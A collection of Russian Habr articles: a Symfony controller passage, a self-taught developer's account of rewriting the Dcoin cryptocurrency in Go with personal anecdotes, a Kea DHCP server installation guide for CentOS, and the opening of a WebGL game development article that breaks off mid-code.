Наконец, больше нет необходимости наследоваться от стандартного симфонийского контроллера, нам также не надо, чтобы контроллер знал что-либо о контейнере DI, поскольку все его зависимости инъектируются в аргументах конструктора. И мы больше не зависим от вспомогательных методов базового класса, что значит, что теперь мы можем окончательно убрать extends Controller вместе с use-выражением из объявления класса нашего контроллера:
```
class MyController
{
}
```
Вот таким образом мы и получаем много бонусных очков за несвязанный код!
В [следующем посте](http://habrahabr.ru/post/227787/) мы поговорим про аннотации и про то, как наш код станет еще менее связанным, если мы от них избавимся. | https://habr.com/ru/post/227781/ | null | ru | null |
# Как я 8 месяцев переписывал Dcoin на Go… про Катю, в общем
[](http://habrahabr.ru/post/274885/)
В этой части я дойду до момента, когда пришла смс-ка «Не звони и не пиши мне больше!!!!»
Первая часть [тут](http://habrahabr.ru/company/dcoin/blog/272695/), вторая [тут](http://habrahabr.ru/post/273333/).
4,5 года назад я имел неосторожность начать писать свою криптовалюту на совсем неподходящем для этого дела языке — на PHP. В итоге, конечно, написал (я упрямый), но получился костыль на костыле и то, что оно вообще работало было просто какой-то магией.
Сразу хочу предупредить, программер я самоучка-недоучка и пишу код, мягко сказать, неидеально.
Началось всё с того, что я расстался с девушкой, по имени Катя и в этот же день (4 апреля 2015-го) решил изучить Go и переписать свою криптовалюту. Писать про Катю не под спойлерами не могу, т.к. хабр всё же для IT-шных статей, а не для любовных рассказов и суровые айтишники, которым интересна тема Go, могут просто не обращать внимание на спойлеры «про Катю».
Итог 8 месяцев: приложение работает на Win ([64](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_win64.exe)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_win32.exe)), OSX([64](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_osx64.dmg)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_osx32.dmg)), Linux([64](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_linux64.deb)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_linux32.deb)), FreeBSD([64](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_freebsd64.zip)/[32](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin_freebsd32.zip)), [Android](https://github.com/c-darwin/dcoin-go/releases/download/v2.0.1b4/dcoin.apk), [IOS](http://dcoin.club/ru/ios.html) (будет круто, если кто-то закинет в App Store).
Общего кода ~73к строк, кода под разные ОС где-то несколько сотен строчек.
40к — обработка/генерация блоков/тр-ий, 17.5к — контроллеры для интерфейса, 15.5к — шаблоны
Поддерживаются PostgreSQL, SQLite, MySQL.
Тех, кто будет тестировать мое творение, предупреждаю — могут быть баги, и если у Вас есть время, черкните о них, пожалуйста, на [darwin@dcoin.club](mailto:darwin@dcoin.club) или в личку на хабре. Пожелания и советы тоже приветствуются.
В первых двух частях я рассказал про то, как в dcoin функционирует веб-сервер и про [html/template](https://golang.org/pkg/html/template/).
В этой статье я расскажу про базы данных, плавное завершение приложения, шифрование и парсинг блоков
**Про Катю**Всю ночь ни я, ни она не могли заснуть, просто молча лежали. В моей голове были мысли «нафиг её, другую найду, неадекватная она». О чем думала она, я не знаю.
Утром почему-то я снова почувствовал к ней влюбленность. Накормил завтраком и упаковал суп в контейнер, чтобы Катя на работе поела.
### Базы данных
В dcoin я сделал поддержку sqlite, postgres, mysql. Для обычных десктопных приложений по умолчанию выбрана sqlite, т.к. не нужно ничего ставить дополнительно. Тем, кто будет поднимать свой dcoin-пул лучше выбирать между postgres и mysql.
За работу с SQL базами данных в golang отвечает пакет [database/sql](https://golang.org/pkg/database/sql/). К нему нужно подключать драйвер БД [sqlite](http://github.com/mattn/go-sqlite3), [postgresql](http://github.com/lib/pq), [mysql](http://github.com/go-sql-driver/mysql).
Вначале я использовал только sqlite, затем решил подключить postgresql и mysql. Оказалось не очень сложно. Изменить пришлось только параметры для подключения к БД в sql.Open() и учесть различия в синтаксисе Sql-запросов
[Тут](https://github.com/c-darwin/dcoin-go/blob/master/packages/utils/sql.go#L51) моя реализация подключения к БД.
Обертки для работы с БД я не использовал, т.к. голые sql-запросы мне было удобнее переносить из старой версии Dcoin, по этой же причине в коде есть довольно убогие конструкции с преобразованием типов данных, полученных из БД.
Пара грабель, на которые я наступил:
1. Если забыть после db.Query(«sql») вызвать rows.Close(), то будет куча незакрытых коннектов.
2. defer нельзя вызывать до обработки ошибки, т.к. если будет ошибка, то row будет nil, а вызов rows.Close() приведет к панике. Вот так делать нельзя:
```
rows, err := db.Query("SELECT * FROM table")
defer rows.Close()
if err != nil {
return err
}
```
Вот так верно:
```
rows, err := db.Query("SELECT * FROM table")
if err != nil {
return err
}
defer rows.Close()
```
**Про Катю**Дальше она снова много раз переносила встречу. Не знаю почему, но с каждым днем я всё сильнее и сильнее влюблялся в неё. Я хотел только её, думал только о ней. В какой-то момент поймал себя на мысли, что хочу на ней жениться. Случайно нашел стихи Кати на сайте stihi.ru, после одного стиха даже прослезился, там было про то, как с ней плохо обходились её бывшие парни. Я сходил с ума, это чувство, что я испытывал к ней было для меня странно и не понятно, у меня такого состояния еще никогда не было.
### Json
```
type minersDataType struct {
hosts string `json:"hosts"`
}
func main() {
result_ := minersDataType{hosts: "pool.dcoin.club"}
result, _ := json.Marshal(result_)
}
```
result будет содержать "{}"
Если заменить hosts на Hosts, то всё будет работать и в result появится {«hosts»:«111111»}
```
type minersDataType struct {
Hosts string `json:"hosts"`
}
func main() {
result_ := minersDataType{Hosts: "pool.dcoin.club"}
result, _ := json.Marshal(result_)
}
```
Я с этим долго тупил, поэтому делаюсь инфой, чтобы кто-то не наступил на те же грабли
**Про Катю**Написал Кате, что люблю её, хочу быть только с ней. Свидания она всё равно продолжала переносить. Надоело, купил её любимые цветы и поехал к ней, чтобы увидеться. Зачем-то даже выучил один из её стихов. Приехал, дома никого нет. Телефон не отвечает.
### Сигналы
Если в процессе парсинга блоков выйти из программы, то данные могут быть занесены не полностью и произойдет рассинхронизация. Например, транзакция по начислению средств обработается, а по списанию — нет. Поэтому важно плавно завершить работу, если поступил сигнал о закрытии приложения
```
SigChan = make(chan os.Signal, 1)
C.waitSig() // про это напишу ниже
go func() {
signal.Notify(SigChan, os.Interrupt, os.Kill, syscall.SIGTERM)
// ждем, пока придет сигнал
<-SigChan
// сообщаем демонам, что надо срочно завершать работу
for i := 0; i < countDaemons; i++ {
daemons.DaemonCh <- true
answer := <-daemons.AnswerDaemonCh
}
// демоны завершили работу, теперь можно закрыть соединение с БД
DB.Close()
}()
```
C.waitSig() — это нужно для windows, т.к. сигналы в windows Go не видит.
```
/*
#include
#include
extern void go\_callback\_int();
static inline void SigBreak\_Handler(int n\_signal){
go\_callback\_int();
}
static inline void waitSig() {
#if (WIN32 || WIN64)
signal(SIGBREAK, &SigBreak\_Handler);
signal(SIGINT, &SigBreak\_Handler);
#endif
}
\*/
import (
"C"
)
//export go\_callback\_int
func go\_callback\_int() {
SigChan <- syscall.Signal(1)
}
```
Если приходит SIGBREAK или SIGINT, то вызывается сишный SigBreak\_Handler, который вызывает go\_callback\_int, который шлет в канал SigChan инфу, что был сигнал о завершении.
В Dcoin обработка сигналов реализована [тут](https://github.com/c-darwin/dcoin-go/blob/master/packages/stopdaemons/notmobile.go#L45)
**Про Катю**Написал ей в ВК, сказала, что тел дома забыла, а сейчас у подруги. Я написал, что подожду её. После чего получил «Не звони и не пиши мне больше!!!!». Вопросов задавать не стал, позвонил в соседнюю квартиру, попросил передать цветы Кате, когда она будет дома. Приехал домой, через несколько часов принял решение переписать Dcoin на Go.
### Шифрование
Мне понадобилось зашифровать при помощи AES ключ в Go, а расшифровать в JS. Мучился где-то 2 дня. Оказывается [IV](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F#Initialization_vector_.28IV.29) надо передавать вместе с самим зашифрованным текстом. У меня эта функция находится [тут](https://github.com/c-darwin/dcoin-go/blob/master/packages/utils/utils.go#L2839)
```
func Encrypt(password, text []byte) ([]byte, error) {
iv := []byte(RandSeq(aes.BlockSize))
c, err := aes.NewCipher(password)
if err != nil {
return nil, ErrInfo(err)
}
plaintext := PKCS5Padding([]byte(text), c.BlockSize())
cfbdec := cipher.NewCBCEncrypter(c, iv)
EncPrivateKeyBin := make([]byte, len(plaintext))
cfbdec.CryptBlocks(EncPrivateKeyBin, plaintext)
EncPrivateKeyBin = append(iv, EncPrivateKeyBin...)
return EncPrivateKeyBin, nil
}
```
и расшифровка в JS:
```
ivAndText = atob(text);
iv = ivAndText.substr(0, 16);
encText = ivAndText.substr(16);
cipherParams = CryptoJS.lib.CipherParams.create({
ciphertext: CryptoJS.enc.Base64.parse(btoa(encText))
});
password = CryptoJS.enc.Latin1.parse(hex_md5(password));
var decrypted = CryptoJS.AES.decrypt(cipherParams, password, {mode: CryptoJS.mode.CBC, iv: CryptoJS.enc.Utf8.parse(iv), padding: CryptoJS.pad.Iso10126 });
var decryptedText = hex2a(decrypted.toString());
```
Расшифровку я делаю в [worker-е](https://github.com/c-darwin/dcoin-go/blob/master/static/js/worker.js#L37), иначе из-за синхронности ненадолго вешается браузер.
### Парсинг блоков
Непосредственно за разбор блоков и занесение данных в таблицы отвечает пакет [dcparser](https://github.com/c-darwin/dcoin-go/tree/master/packages/dcparser)
Рассмотрим например, транзакцию регистрации нового юзерского ключа, по сути нового Dcoin-пользователя — [new\_user.go](https://github.com/c-darwin/dcoin-go/blob/master/packages/dcparser/new_user.go)
NewUserInit отвечает за заполнение переменных, которые содержат данные этой транзакции. Тут их всего две — public\_key и sign
NewUserFront отвечает за проверку данных. В частности, проверяет, является пользователь, который сгенерировал эту транзакцию майнером. Проверяет, нет ли превышения лимитов и пр.
NewUser заносит данные в БД
NewUserRollbackFront откатывает изменения, которые были занесены методом NewUserFront
NewUserRollback откатывает данные, которые были занесены методом NewUser
Аналогичные 4 метода есть для каждого из 70-и типов транзакций.
На минуточку представьте как парсятся > 270 000 блоков. 70 методов заносят данные в 180 таблиц и 1100 разных колонок. А затем то, что меня завораживает больше всего — откат всех данных по одному блоку в обратном порядке через Rollback и RollbackFront. Такой полный откат делается для тестирования корректности работы dcparser. Если где-то как-то неверно занеслись данные, то это сразу станет видно.
**Про Катю**Через пару дней написал ей, что на несколько месяцев ухожу с головой в свой проект и попросил не беспокоить меня по пустякам. Через неделю от Кати пришла смс-ка.
### Заключение
В следующих статьях я расскажу про то, как я немного изменил gomobile, добавив уведомления и работу в фоне для IOS и Android приложений. | https://habr.com/ru/post/274885/ | null | ru | null |
# Отказоустойчивый DHCP сервер на базе Kea
### Статья-инструкция по установке и базовой настройке отказоустойчивого сервера Kea DHCP
Kea DHCP – это open-source DHCP сервер, разрабатываемый Internet Systems Consortium(ISC) с поддержкой DHCPv4 и DHCPv6.
ISC – это те же ребята, которые разрабатывают наши любимые bind и dhcpd. Kea – разработана на базе BIND 10.
Kea позволяет запустить dhcp-сервер как для небольших систем, так и для больших телеком/корпоративных компаний. Из нововведений – использование API для управления сервисом, возможность хранения базы lease в СУБД и использование hooks для дополнительных функций.
На момент написания статьи(июнь 2019) – последняя стабильная **версия 1.5.0.**
Вдаваться в детальную работу протокола DHCP не буду, тогда статья будет раза в два-три больше. [Есть хорошая статья на Хабре](https://habr.com/ru/post/435148/).
Протокол DHCP работает по протоколу UDP(порты 67-68), используется для динамического выделения ip-адресов. Использует четыре шага для получения/выдачи ip-адресов – **discover-offer-request-acknowledge(DORA)**. Также DHCP использует понятие lease – аренда адреса, срок аренды адреса устройством – **lease-time**.
### Почему Kea
DHCP сервер Kea обладает рядом преимуществ – скорость работы, возможность создания кластера отказоустойчивости, большого функционала и возможности покупки технической поддержки от разработчиков.
Этот продукт будет использоваться нашим телеком-оператором, который планирует выдавать около 2 млн. адресов, с 2000 запросами в секунду. Он был выбран из-за скорости работы и возможности создания кластера из двух серверов.
### Поддерживаемые ОС
• CentOS Linux — 7.1804 (aka 7.5)
• Fedora — 28, 29
• Ubuntu — 16.04, 18.04
• Debian GNU/Linux — 7, 8, 9
• FreeBSD — 11.0
• macOS — 10.13, 10.14
Планов запуска Kea для Windows нет.
### Хранение базы lease
Kea DHCP – поддерживает хранение базы выданных адресов в локальном CSV-файле(memfile) или в одной из трёх СУБД – MySQL, PostgreSQL и Cassandra.
Отличия – в скорости работы и возможностях хранения. Memfile – в 10 раз быстрее, но хранение базы в СУБД позволяет хранить дополнительные поля и опции DHCP. Сравнение скорости работы:
Очень большой анализ использования различных баз данных и локального хранения [тут](https://kb.isc.org/docs/kea-performance-tests-140-vs-150).
В нашем проекте решили начать с базы в memfile, так как количество запросов в секунду будет больше 2000.
Установка
---------
В качестве примера Kea будет разворачиваться на базе CentOS 7(minimal edition):
```
[root@localhost ~]# cat /etc/centos-release
CentOS Linux release 7.6.1810 (Core)
```
Перед установкой самого сервиса, необходимо установить все необходимые зависимости:
1. Библиотеки Boost C++ (http://www.boost.org/). # run-time среда с++ для запуска самого Kea
2. Криптобиблиотеку Botan (вер. 1.9) или OpenSSL (вер. 1.0.1). Советую openssl, так как botan не будет поддерживаться с версии Kea 1.6.0
3. log4cplus (вер. 1.0.3) development # нужен для создания логов
4. Компилятор C++
5. Библиотеки automake, libtool, pkg-config # для сборки и установки самого Kea
6. Если будете использовать СУБД – то тогда установить MySQL, PostgreSQL или Cassandra.
**Опционально если нужны RADIUS или NETCONF/YANG(на англ.)*** FreeRADIUS client library when --with-freeradius configuration flag used.
* Sysrepo (version 0.7.6 or later) and libyang (version 0.16-r2 or later) when --with-sysrepo configuration flag used.
* googletest (version 1.8 or later), when using the --with-gtest configuration option to build the unit tests.
* The documentation generation tools elinks, docbook-xsl, libxslt and Doxygen, if using the --enable-generate-docs configuration option to create the documentation.
#### Шаг 1. Устанавливаем нужные зависимости
```
# wget нужен для скачивания файлов
sudo yum install wget
# репозиторий community программ
sudo yum install epel-release
# нужен для создания логов
sudo yum install log4cplus-devel
# run-time среда с++ для запуска самого Kea
sudo yum install boost-devel
# для генериации ssl сертификатов, нужен именно *-devel, иначе не поставиться
sudo yum install openssl-devel
# для сборки и установки Kead
sudo yum install automake libtool
# компилятор gcс, поставил Development Tools, т.к. другие варианты установки выдавали ошибку при установке
sudo yum groupinstall Development\ Tools
```
#### Шаг 2. Если все зависимости встали нормально, переходим к установке самого Kea
```
# скачиваем исходники Kea (или скачиваем с сайта https://ftp.isc.org/isc/kea/1.5.0/ и передаем на сервер)
wget -nd https://ftp.isc.org/isc/kea/1.5.0/kea-1.5.0.tar.gz
# распаковываем архив
tar zxvf kea-1.5.0.tar.gz
# переходим в папку из архива
cd kea-1.5.0
# проверяем нужные библиотеки и готовимся к установке
#./configure [нужные опции здесь] я устанавливал без дополнительных опций
./configure
```
\*Тут нужно упомянуть про нужные опции – если вы планируете использовать СУБД, нужно отметить эту опцию.
**Все опции при сборке:**--prefix
Define the installation location (the default is /usr/local).
--with-boost-include
Define the path to find the Boost headers.
--with-botan-config
Specify the path to the botan-config script to build with Botan for cryptographic functions.
--with-mysql
Build Kea with code to allow it to store leases and host reservations in a MySQL database.
--with-pgsql
Build Kea with code to allow it to store leases and host reservations in a PostgreSQL database.
--with-cql
Build Kea with code to allow it to store leases and host reservations in a Cassandra (CQL) database.
--with-gtest, --with-gtest-source
Enable the building of the C++ Unit Tests using the Google Test framework. This option specifies the path to the gtest source. (If the framework is not installed on your system, it can be downloaded from [github.com/google/googletest](https://github.com/google/googletest).) from [github.com/google/googletest](https://github.com/google/googletest).)
--with-benchmark, --with-benchmark-source
Enable the building of the database backend benchmarks using the Google Benchmark framework. This option specifies the path to the gtest source. (If the framework is not installed on your system, it can be downloaded from [github.com/google/benchmark](https://github.com/google/benchmark).)
--with-log4cplus
Define the path to find the Log4cplus headers and libraries.
--with-openssl
Replace Botan by the OpenSSL the cryptographic library. By default configure searches for a valid Botan installation: if one is not found, it searches for OpenSSL.
Собирается относительно долго, при сборке может выдавать ошибки если не установили какую-то зависимость. В конце вы увидите итог сборки:
#### Шаг 3. Устанавливаем
```
make
sudo make install
```
Операция make проходит очень долго(час или около того). Make install около минуты.
Запуск и настройка
------------------
Запускается из установленной директории:
```
keactrl start
```
Еще есть опции stop, reload(перезагрузка конфигурации) и status
При старте запускает три процесса – kea-dhcp4, kea-dhcp6 kea-ctrl-agent – агент для управления и управляющих коммуникации сервера
Если вам не нужен dhcp6, то можно запустить только dhcp4, не забываем запустить агента:
```
keactrl start -s dhcp4, ctrl_agent
```
### Конфигурация
Основной конфигурационный файл dhcp4 — /usr/local/etc/kea/kea-dhcp4.conf
Файл хорошо описан, очень много комментариев и примеров настроек, не запутаетесь, напишу только главные настройки:
Указываем интерфейс или адрес через который будет работать dhcp4:
```
"interfaces-config": {
// interface name (e.g. "eth0" or specific IPv4 address on that
// interface name (e.g. "eth0/192.0.2.1").
"interfaces": [ ]
}
```
Указываем где хранить базу lease
```
"lease-database": {
// Memfile is the simplest and easiest backend to use. It's a in-memory
// C++ database that stores its state in CSV file.
"type": "memfile",
"lfc-interval": 3600
},
```
Какие DNS сервера будут презентованы клиентам
```
"option-data": [
{
"name": "domain-name-servers",
"data": "192.0.2.1, 192.0.2.2"
},
```
Доменное имя вашей организации
```
{
"name": "domain-search",
"data": "mydomain.example.com, example.com"
},
```
И главная настройка — подсети, пулы и default gateway:
```
"subnet4": [
{ //subnet обязательный параметр, указывает Kea из какой подсети выдавать адреса
"subnet": "192.0.2.0/24",
//пул адресов, который будут использоваться для выдачи клиентам
"pools": [ { "pool": "192.0.2.1 - 192.0.2.200" } ],
"option-data": [
{
// указываем default gateway для этой подсети
"name": "routers",
"data": "192.0.2.1"
}
],
```
Ну и последний параметр, нужен для резервирования адресов из пула/подсети, указанные адреса не будут выдаваться клиентам, нужны для адресов сервера/устройств которые прописаны статично:
```
"reservations": [
{
"hw-address": "1a:1b:1c:1d:1e:1f",
"ip-address": "192.0.2.201"
}
]
```
Вот пожалуй основные настройки, после изменения конфигурации нужно перезапустить сервис –
```
keacrtl stop
keactrl start -s dhcp4,ctrl_agent
```
### CSV-база
Локальная база хранится тут — **/usr/local/var/kea/kea-leases4.csv**
### Логи
Логи по умолчанию хранятся — /usr/local/var/log/
Тут у каждого из компонентов отдельный файл:
* kea-dhcp4.log
* kea-dhcp6.log
* kea-ctrl-agent.log
**В отдельной статье опишу как запустить кластер из двух серверов и настройку синхронизации базы выдачи lease.**
**Использованные материалы**[Официальный мануал](https://ftp.isc.org/isc/kea/cur/doc/kea-guide.html#required-software)
[Настройка с сайта ISC](https://kb.isc.org/docs/installing-kea) | https://habr.com/ru/post/458180/ | null | ru | null |
# Особенности разработки WebGL игры Digital Trip
Привет, хабр! В этой статье я хочу поделиться собственным опытом разработки WebGL игры Digital Trip. Помимо WebGL, в игре использованы такие технологии, как WebAudio API, WebSockets, getUserMedia, Vibration API, DeviceOrientation, а также библиотеки three.js, hedtrackr.js, socket.io и пр. В статье будут описаны наиболее интересные детали реализации. Я расскажу о движке игры, управлении при помощи мобильного, управлении веб-камерой, скажу пару слов о back-end’e на node.js, работающем в связке с dogecoin демоном.
В конце статьи приведены ссылки на использованные библиотеки, исходный код на GitHub, описание игры и саму игру.
Всех, кому интересно, прошу под кат.
Геймплей очень простой: летим по заданной траектории, собираем монетки и бонусы, уворачиваемся от камней. Положения игрока ограничены 3 вариантами. Бонусы бывают трех типов: щит (HTML5), замедление (котик) или восстановление жизней (губы). В конце игры можно вывести полученные монетки на свой кошелек dogecoin.
Цель разработки игры — рассказать о возможностях браузеров, прокачать свои навыки, поделиться опытом и получить огромное удовольствие от процесса.
Теперь подробнее об особенностях реализации.
#### Движок игры и некоторые детали
В качестве пространства имен используется глобальная переменная DT, с помощью которой можно получить доступ к служебным функциям, конструкторам классов и экземплярам, а также функциям-обработчикам, различным параметрам и т.д.
##### Прелоадер
К станице подключены три скрипта:
```
```
Для загрузки остальных скриптов используется загрузчик ресурсов [yepnope](http://yepnopejs.com/).
При выполнении myYepnope.js происходит проверка поддержки WebGL браузером:
```
var isWebGLSupported,
canvas = document.getElementById('checkwebgl');
if (!window.WebGLRenderingContext) {
// Browser has no idea what WebGL is
isWebGLSupported = false;
} else if (canvas.getContext("webgl") ||
canvas.getContext("webGlCanvas") ||
canvas.getContext("moz-webgl") ||
canvas.getContext("webkit-3d") ||
canvas.getContext("experimental-webgl")) {
// Can get context
isWebGLSupported = true;
} else {
// Can't get context
isWebGLSupported = false;
}
```
Если браузер поддерживает WebGL, myYepnope определяет функцию для отображения загрузки ресурсов и загружает остальные скрипты.
Здесь начинает работу прелоадер. Визуально он представляет из себя размытый стартовый интерфейс игры с последующим уменьшением радиуса размытия по мере загрузки.
Эффект размытия достигается за счет использования css-свойства `-webkit-filter: blur()`. Свойство прекрасно анимируется. Для Firefox используется svg filter, радиус которого динамически изменяется и применяется в виде css-свойства `filter: 'url()'`, при этом `data url` генерируется скриптом и обновляется каждые 20% загрузки.
**Код**
```
if (isWebGLSupported) {
var $body = $('body'),
$cc = $('.choose_control'),
maxBlur = 100,
steps = 4,
isWebkitBlurSupported;
if ($body[0].style.webkitFilter === undefined) {
isWebkitBlurSupported = false;
$cc.css({filter: "url('data:image/svg+xml;utf8,#blur-overlay')"});
} else {
isWebkitBlurSupported = true;
$body[0].style.webkitFilter = 'blur(' + maxBlur + 'px)';
}
$('#loader').css({display: 'table'});
$cc.css({display: 'table'});
yepnope.loadCounter = 0;
yepnope.percent = 0;
yepnope.showLoading = function (n) {
yepnope.percent += maxBlur/steps;
yepnope.loadCounter += 1;
$(".loader").animate({minWidth: Math.round(yepnope.percent)+"px"}, {
duration: 1000,
progress: function () {
var current = parseInt($(".loader").css("minWidth"), 10) * 100/maxBlur;
$("title").html(Math.floor(current) + "% " + "digital trip");
if (isWebkitBlurSupported) {
$body[0].style.webkitFilter = 'blur('+ (maxBlur - current)+ 'px)';
}
if (!isWebkitBlurSupported && current % 20 === 0) {
$cc.css({filter: "url('data:image/svg+xml;utf8,#blur-overlay')"});
}
if (current === 100) {
$("title").html("digital trip");
if (!isWebkitBlurSupported && current % 20 === 0) $cc.css({filter: "url('data:image/svg+xml;utf8,#blur-overlay')"});
}
},
complete: function () {
if (n === steps) {
DT.runApp();
}
}
});
};
yepnope([{
load: [
"js/vendor/three.min.js",
"js/DT.min.js",
"../socket.io/socket.io.js"
],
callback: {}
}]);
} else {
$('#nogame').css({display: 'table'});
}
```
После загрузки можно выбрать один из трех способов управления и начать игру.
##### События
Взаимодействия между объектами внутри игры основаны на стандартных и кастомных событиях
**Список событий**'blur' // потеря фокуса
'focus' // появление фокуса
'socketInitialized' // инициализация socket.io
'externalObjectLoaded' // завершение загрузки внешней модели
'startGame' // запуск игры
'pauseGame' // пауза
'resumeGame' // возобновление игры
'gameOver' // конец игры
'resetGame' // сброс параметров игры
'updatePath' // обновление положения в игровом пространсте (трубе)
'update' // обновление объектов игры
'changeSpeed' // внешнее изменение скорости
'showHelth' // отображение изменения здоровья
'showInvulner' // отображение изменения неуязвимости (щит)
'showScore' // отображение изменения очков
'showFun' // отображение изменения режима замедления (котика)
'changeHelth' // изменение здоровья
'bump' // столкновение с объектом
'blink' // мигание сферы
'hit' // столкновение с камнем
'changeScore' // изменение очком
'catchBonus' // поимка бонуса
'makeInvulner' // изменение режима неуязвимости (щита)
'makeFun' // включение режима замедления (котика)
'showBonuses' // оботражение пойманных бонусов
'stopFun' // выключение режима котика
'paymentCheck' // состояние проверки клиента для оплаты
'paymentMessage' // получение сообщения о платеже
'transactionMessage' // получение сообщения о транзакции
'checkup' // запуск проверки
События возникают в элементе `document`, вызывая соответствующие обработчики, например:
```
DT.$document.trigger('gameOver', {cause: 'death'});
DT.$document.on('gameOver', function (e, data) {
if (data.cause === 'death') {
DT.audio.sounds.gameover.play();
}
});
```
События `'blur'` и `'focus'` вызываются в `window` и служат для отключения звука и включения паузы при потере фокуса окна с игрой.
```
DT.$window.on('blur', function() {
if (DT.game.wasStarted && !DT.game.wasPaused && !DT.game.wasOver) {
DT.$document.trigger('pauseGame', {});
}
DT.setVolume(0);
});
```
##### Инициализация игрового мира
Здесь все стандартно для проектов на `three.js`: создается сцена, камера, игровое пространство, источники света, фон.
Сцена
```
DT.scene = new THREE.Scene();
```
Камера
```
DT.splineCamera = new THREE.PerspectiveCamera( 84, window.innerWidth / window.innerHeight, 0.01, 1000 );
```
Игровое пространство — труба, вдоль кривой TorusKnot из набора THREE.Curves
```
var extrudePath = new THREE.Curves.TorusKnot();
DT.tube = new THREE.TubeGeometry(extrudePath, 100, 3, 8, true, true);
```
Источники света
```
DT.lights = {
light: new THREE.PointLight(0xffffff, 0.75, 100),
directionalLight: new THREE.DirectionalLight(0xffffff, 0.5)
};
```
Фон в виде сферы вокруг игрового пространства с натянутой по внутренней поверхности картинкой с границами одного цвета для бесшовного соединения.
Фон
```
var geomBG = new THREE.SphereGeometry(500, 32, 32),
matBG = new THREE.MeshBasicMaterial({
map: THREE.ImageUtils.loadTexture('img/background5.jpg'),
}),
worldBG = new THREE.Mesh(geomBG, matBG);
worldBG.material.side = THREE.BackSide;
```
##### Классы
В игре есть несколько основных классов: Игра (`DT.Game`), Игрок (`DT.Player`) и Игровой объект (`DT.GameObject`). Они имеют свои методы (обновления, сброса и пр.), вызываемые соответствующими обработчиками в ответ на срабатывание того или иного события. Объект игры содержит различные параметры (скорость, ускорение), константы (минимальное расстояние между камнями и информацию о своем состоянии (`wasStarted`, `wasPaused`). Объект игрока содержит информацию о текущем состоянии игрока (счет, жизни, состояние неуязвимости), а также состояние модели игрока (сфера, кольца (контуры, являющиеся индикаторами здоровья) вокруг сферы). Все остальные объекты являются подклассами Игрового объекта (частицы, щит на игроке, бонусы).
##### Внутренние и внешние модели
В игре есть модели двух типов: внутренние (простые) модели (сфера, индикатор здоровья (кольца/контуры), камни и монеты), которые создаются средствами three.js и внешние (сложные) модели (бонусы и HTML5 щит вокруг сферы) подгружаются в .obj формате соответствующим [загрузчиком](https://github.com/mrdoob/three.js/blob/master/examples%2Fwebgl_loader_obj.html).
Сфера является частью объекта игрока и представляет собой 2 объекта: физическая сфера для расчетов столкновений с другими объектам (не добавлена на сцену)
Сфера
```
this.sphere = new THREE.Mesh(new THREE.SphereGeometry(0.5, 32, 32), new THREE.MeshPhongMaterial({}));
```
и система частиц на основе движка для системы частиц [Fireworks](http://jeromeetienne.github.io/fireworks.js/).
Система частиц
```
this.emitter = Fireworks.createEmitter({nParticles : 100})
.effectsStackBuilder()
.spawnerSteadyRate(30)
.position(Fireworks.createShapePoint(0, 0, 0))
.velocity(Fireworks.createShapePoint(0, 0, 0))
.lifeTime(0.2, 0.7)
.renderToThreejsParticleSystem({ ... })
.back()
.start();
```
Модели бонусов подгружаются в виде 2 объектов каждая с одинаковым количеством вершин (также для трансформации).
**Список моделей**
```
DT.listOfModels = [{
name: 'bonusH1',
scale: 0.1,
rotaion: new THREE.Vector3(0, 0, 0),
color: 0xff0000,
}, {
name: 'bonusI',
scale: 0.02,
rotaion: new THREE.Vector3(0, 0, 0),
color: 0x606060,
'5': 0xffffff,
'html': 0xffffff,
'orange': 0xD0671F,
'shield': 0xC35020,
}, {
name: 'bonusE1',
scale: 0.75,
rotaion: new THREE.Vector3(0, 0, 0),
color: 0x606060,
}, {
name: 'bonusH2',
scale: 0.1,
rotaion: new THREE.Vector3(0, 0, 0),
color: 0xff0000,
}, {
name: 'shield',
scale: 0.16,
rotaion: new THREE.Vector3(0, 0, 0),
color: 0x606060,
}, {
name: 'bonusE2',
scale: 0.75,
rotaion: new THREE.Vector3(0, 0, 0),
color: 0x606060,
}
];
```
**Загрузчик**
```
var manager = new THREE.LoadingManager(),
loader = new THREE.OBJLoader(manager);
manager.onProgress = function (item, loaded, total) {
console.info('loaded item', loaded, 'of', total, '('+item+')');
};
DT.listOfModels.forEach(function (el, i, a) {
loader.load('objects/' + el.name + '.obj', function ( object ) {
object.traverse( function ( child ) {
var color = el[child.name] || el.color;
child.material = new THREE.MeshPhongMaterial({
color: color,
shading: THREE.SmoothShading,
emissive: new THREE.Color(color).multiplyScalar(0.5),
shininess: 100,
});
});
if (i === 1) {
a[i].object = object
} else {
a[i].object = object.children[0];
}
DT.$document.trigger('externalObjectLoaded', {index: i});
});
});
```
После загрузки внешние модели становятся доступными по ссылке `DT.listOfModels[index].object` и используются в конструкторе бонуса.
##### Превращения (трансформации) и постпроцессинг
В игре есть несколько трансформаций: для индикаторов здоровья, для бонусов и glitch-эффект (или эффект сломанного телевизора) в конце игры.
Трансформации индикатора здоровья и бонусов основаны на [morphTargets](http://threejs.org/examples/webgl_morphtargets_horse.html).
При создании объекта стандартное состояние сохраняется в геометрии этого объекта. Остальные состояния сохранятся в специальном свойстве геометрии `morphTargets`. Текущее состояние объекта определяется уровнем `morphTargetInfluences` объекта.
Индикатор здоровья (кольца/контуры) вокруг сферы является 2 объектами, геометрия каждого из которых состоит их 180 вершин (по 60 с внутренней и внешней стороны).
Кольца/контуры могут представлять собой окружности, пяти-, четырех- и треугольники, при этом количество вершин всегда остается 180.
Важно, чтобы число вершин в каждом состоянии было одинаковым, а их векторы координат менялись «правильно» (в соответствии с желаемой трансформацией), иначе трансформация будет работать некорректно или не будет работать вовсе.
Для этого была написана специальная функция для создания геометрии индикатора здоровья (колец/контуров).
**геометрия индикатора здоровья**
```
DT.createGeometry = function (circumradius) {
var geometry = new THREE.Geometry(),
x,
innerradius = circumradius * 0.97,
n = 60;
function setMainVert (rad, numb) {
var vert = [];
for (var i = 0; i < numb; i++) {
var vec3 = new THREE.Vector3(
